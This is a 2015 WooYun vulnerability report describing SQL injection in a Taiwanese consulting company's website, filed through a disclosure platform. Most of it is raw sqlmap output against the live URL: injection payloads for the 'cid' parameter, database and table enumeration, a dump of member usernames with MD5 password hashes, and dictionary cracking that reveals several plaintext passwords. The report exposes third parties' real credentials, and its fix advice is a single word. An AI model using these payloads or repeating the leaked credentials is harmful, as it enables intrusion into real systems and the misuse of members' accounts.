当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094950

漏洞标题:丸虎国际顾问有限公司SQL注入漏洞

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: love_is_all

提交时间:2015-02-02 19:21

修复时间:2015-03-19 19:22

公开时间:2015-03-19 19:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-02: 细节已通知厂商并且等待厂商处理中
2015-02-03: 厂商已经确认,细节仅向厂商公开
2015-02-13: 细节向核心白帽子及相关领域专家公开
2015-02-23: 细节向普通白帽子公开
2015-03-05: 细节向实习白帽子公开
2015-03-19: 细节向公众公开

简要描述:

详细说明:

如问题描述。节省时间,只dump了一部分会员信息。
http://www.marutora.com.tw/class_post_container.php?cid=12页面存在注入漏洞,可以得到大量会员信息,和管理员账号。

漏洞证明:

Database: xen_marutora
[14 tables]
+----------+
| 台日交流 |
| 就業資訊 |
| 履歷_職務經歷書 |
| 撅交風 |
| 文章專欄 |
| 最新消息 |
| 會員 |
| 活動花絮 |
| 管理員 |
| 考試公告 |
| 考試報名 |
| 課程報名 |
| 課程資訊 |
| order_id |
+----------+
[22:13:03] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.marutora.com.tw'
[*] shutting down at 22:13:03
C:\sqlmap>sqlmap -u http://www.marutora.com.tw/class_post_container.php?cid=12 -
D xen_marutora -T 會員 --columns
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150128}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:14:22
[22:14:22] [INFO] resuming back-end DBMS 'mysql'
[22:14:22] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=12 AND 4079=4079
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cid=12 AND (SELECT 1036 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(S
ELECT (CASE WHEN (1036=1036) THEN 1 ELSE 0 END)),0x716b766271,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: cid=-4429 UNION ALL SELECT NULL,CONCAT(0x7170767071,0x44536e7175635
46f6b44,0x716b766271),NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: cid=12 AND 6941=BENCHMARK(5000000,MD5(0x71574b76))
---
[22:14:23] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.29
back-end DBMS: MySQL 5.0
[22:14:23] [INFO] fetching columns for table '會員' in database 'xen_marutora'
[22:14:23] [INFO] heuristics detected web page charset 'ascii'
[22:14:23] [WARNING] the SQL query provided does not return any output
[22:14:24] [INFO] the SQL query used returns 7 entries
[22:14:24] [INFO] retrieved: id
[22:14:24] [INFO] retrieved: int(11)
[22:14:25] [INFO] heuristics detected web page charset 'utf-8'
[22:14:25] [INFO] retrieved: 登入帳號
[22:14:25] [INFO] retrieved: varchar(50)
[22:14:26] [INFO] retrieved: 密碼
[22:14:26] [INFO] retrieved: varchar(50)
[22:14:26] [INFO] retrieved: email
[22:14:27] [INFO] retrieved: varchar(100)
[22:14:27] [INFO] retrieved: join_date
[22:14:28] [INFO] retrieved: timestamp
[22:14:28] [INFO] retrieved: auth_code
[22:14:29] [INFO] retrieved: varchar(50)
[22:14:29] [INFO] retrieved: 認證
[22:14:30] [INFO] retrieved: int(11)
Database: xen_marutora
Table: 會員
[7 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| 密碼 | varchar(50) |
| 登入帳號 | varchar(50) |
| 認證 | int(11) |
| auth_code | varchar(50) |
| email | varchar(100) |
| id | int(11) |
| join_date | timestamp |
+-----------+--------------+
[22:14:30] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.marutora.com.tw'
[*] shutting down at 22:14:30
C:\sqlmap>sqlmap -u http://www.marutora.com.tw/class_post_container.php?cid=12 -
D xen_marutora -T 會員 -C "登入帳號, 密碼" --dump
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150128}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:16:34
[22:16:35] [INFO] resuming back-end DBMS 'mysql'
[22:16:35] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=12 AND 4079=4079
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cid=12 AND (SELECT 1036 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(S
ELECT (CASE WHEN (1036=1036) THEN 1 ELSE 0 END)),0x716b766271,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: cid=-4429 UNION ALL SELECT NULL,CONCAT(0x7170767071,0x44536e7175635
46f6b44,0x716b766271),NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: cid=12 AND 6941=BENCHMARK(5000000,MD5(0x71574b76))
---
[22:16:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.29
back-end DBMS: MySQL 5.0
[22:16:36] [INFO] fetching columns '密碼, 登入帳號' for table '會員' in database
'xen_marutora'
[22:16:36] [INFO] heuristics detected web page charset 'ascii'
[22:16:36] [WARNING] the SQL query provided does not return any output
[22:16:37] [INFO] the SQL query used returns 2 entries
[22:16:37] [INFO] heuristics detected web page charset 'utf-8'
[22:16:37] [INFO] retrieved: 登入帳號
[22:16:38] [INFO] retrieved: varchar(50)
[22:16:38] [INFO] retrieved: 密碼
[22:16:39] [INFO] retrieved: varchar(50)
[22:16:39] [INFO] fetching entries of column(s) '`密碼`, `登入帳號`' for table '
會員' in database 'xen_marutora'
[22:16:39] [WARNING] the SQL query provided does not return any output
[22:16:40] [INFO] the SQL query used returns 90 entries
[22:16:42] [INFO] retrieved: 02c9edff442b32fed09b9aa3339b7a2d
[22:16:42] [INFO] retrieved: peggylee
[22:16:42] [INFO] retrieved: 07bbb93101c27b6cf6a907535d086c4a
[22:16:43] [INFO] retrieved: askaryo0224
[22:16:43] [INFO] retrieved: 08f333b81e65f32f87dd0fbe3bd27410
[22:16:44] [INFO] retrieved: honouhiro77
[22:16:44] [INFO] retrieved: 0ea673fd9252dc8c5fb88bafe797dddd
[22:16:45] [INFO] retrieved: ben800414
[22:16:45] [INFO] retrieved: 1b77e984923880582d205719809d7dd3
[22:16:46] [INFO] retrieved: yuwen8283
[22:16:46] [INFO] retrieved: 1bf329b553baacb1cc28c33258790f9d
[22:16:47] [INFO] retrieved: mitafang
[22:16:47] [INFO] retrieved: 1c483d02cf16c302495eb6409facd4d2
[22:16:48] [INFO] retrieved: a7758886
[22:16:48] [INFO] retrieved: 1d9aa9a9c6e5c82d72a57002994cbb39
[22:16:48] [INFO] retrieved: a55855921
[22:16:49] [INFO] retrieved: 22d7fe8c185003c98f97e5d6ced420c7
[22:16:49] [INFO] retrieved: xenw
[22:16:50] [INFO] retrieved: 25c10d5a7ad7581162d0bb221190412f
[22:16:50] [INFO] retrieved: chien72jp
[22:16:50] [INFO] retrieved: 25c10d5a7ad7581162d0bb221190412f
[22:16:51] [INFO] retrieved: chien72jp
[22:16:51] [INFO] retrieved: 25c10d5a7ad7581162d0bb221190412f
[22:16:52] [INFO] retrieved: chien72jp
[22:16:52] [INFO] retrieved: 25d55ad283aa400af464c76d713c07ad
[22:16:52] [INFO] retrieved: MARUTORA
[22:16:53] [INFO] retrieved: 27c1f43c4555342db22aa1e570260662
[22:16:53] [INFO] retrieved: ym2881677
[22:16:54] [INFO] retrieved: 27c1f43c4555342db22aa1e570260662
[22:16:54] [INFO] retrieved: ym2881677
[22:16:54] [INFO] retrieved: 286014503ea97d20cfb30769320877f6
[22:16:55] [INFO] retrieved: kanrin0730
[22:16:55] [INFO] retrieved: 2918a6b43fa67aa4e2b55a901d9b032d
[22:16:55] [INFO] retrieved: HTW-M
[22:16:56] [INFO] retrieved: 359f588eb7256a5cbc69ddedcded56ef
[22:16:56] [INFO] retrieved: sasaice
[22:16:57] [INFO] retrieved: 38b785fe0e1411117ed32c509dd24af1
[22:16:57] [INFO] retrieved: evadekao
[22:16:57] [INFO] retrieved: 3bdb51626217404b0168a7f675ef0592
[22:16:58] [INFO] retrieved: B10033020
[22:16:58] [INFO] retrieved: 3c7d5e394fa18071597da6c81114fa57
[22:16:58] [INFO] retrieved: klaus17
[22:16:59] [INFO] retrieved: 3d2172418ce305c7d16d4b05597c6a59
[22:16:59] [INFO] retrieved: snoopyben
[22:16:59] [INFO] retrieved: 3ffd237ee89eb2814de9a12ae0a98192
[22:17:00] [INFO] retrieved: s35791
[22:17:00] [INFO] retrieved: 47fa2ddd1ac38b1e336142ae6a878643
[22:17:00] [WARNING] user aborted during enumeration. sqlmap will display partia
l output
[22:17:00] [INFO] analyzing table dump for possible password hashes
[22:17:00] [INFO] recognized possible password hashes in column '`密碼`'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] y
[22:17:10] [INFO] writing hashes to a temporary file 'c:\docume~1\admini~1\local
s~1\temp\sqlmapqbihyk8040\sqlmaphashes-o4tw9i.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[22:17:24] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'C:\sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[22:17:27] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[22:17:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[22:17:32] [INFO] starting 2 processes
[22:17:34] [INFO] cracked password '12345678' for hash '25d55ad283aa400af464c76d
713c07ad'
[22:17:35] [INFO] cracked password '22222' for hash '3d2172418ce305c7d16d4b05597
c6a59'
[22:17:50] [INFO] cracked password 'qwertyui' for hash '22d7fe8c185003c98f97e5d6
ced420c7'
[22:18:22] [INFO] postprocessing table dump
Database: xen_marutora
Table: 會員
[23 entries]
+---------------------------------------------+-------------+
| 密碼 | 登入帳號 |
+---------------------------------------------+-------------+
| 02c9edff442b32fed09b9aa3339b7a2d | peggylee |
| 07bbb93101c27b6cf6a907535d086c4a | askaryo0224 |
| 08f333b81e65f32f87dd0fbe3bd27410 | honouhiro77 |
| 0ea673fd9252dc8c5fb88bafe797dddd | ben800414 |
| 1b77e984923880582d205719809d7dd3 | yuwen8283 |
| 1bf329b553baacb1cc28c33258790f9d | mitafang |
| 1c483d02cf16c302495eb6409facd4d2 | a7758886 |
| 1d9aa9a9c6e5c82d72a57002994cbb39 | a55855921 |
| 22d7fe8c185003c98f97e5d6ced420c7 (qwertyui) | xenw |
| 25c10d5a7ad7581162d0bb221190412f | chien72jp |
| 25c10d5a7ad7581162d0bb221190412f | chien72jp |
| 25c10d5a7ad7581162d0bb221190412f | chien72jp |
| 25d55ad283aa400af464c76d713c07ad (12345678) | MARUTORA |
| 27c1f43c4555342db22aa1e570260662 | ym2881677 |
| 27c1f43c4555342db22aa1e570260662 | ym2881677 |
| 286014503ea97d20cfb30769320877f6 | kanrin0730 |
| 2918a6b43fa67aa4e2b55a901d9b032d | HTW-M |
| 359f588eb7256a5cbc69ddedcded56ef | sasaice |
| 38b785fe0e1411117ed32c509dd24af1 | evadekao |
| 3bdb51626217404b0168a7f675ef0592 | B10033020 |
| 3c7d5e394fa18071597da6c81114fa57 | klaus17 |
| 3d2172418ce305c7d16d4b05597c6a59 (22222) | snoopyben |


修复方案:

过滤

版权声明:转载请注明来源 love_is_all@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-02-03 20:29

厂商回复:

可透過此SQL Injection漏洞取得重要資料

最新状态:

暂无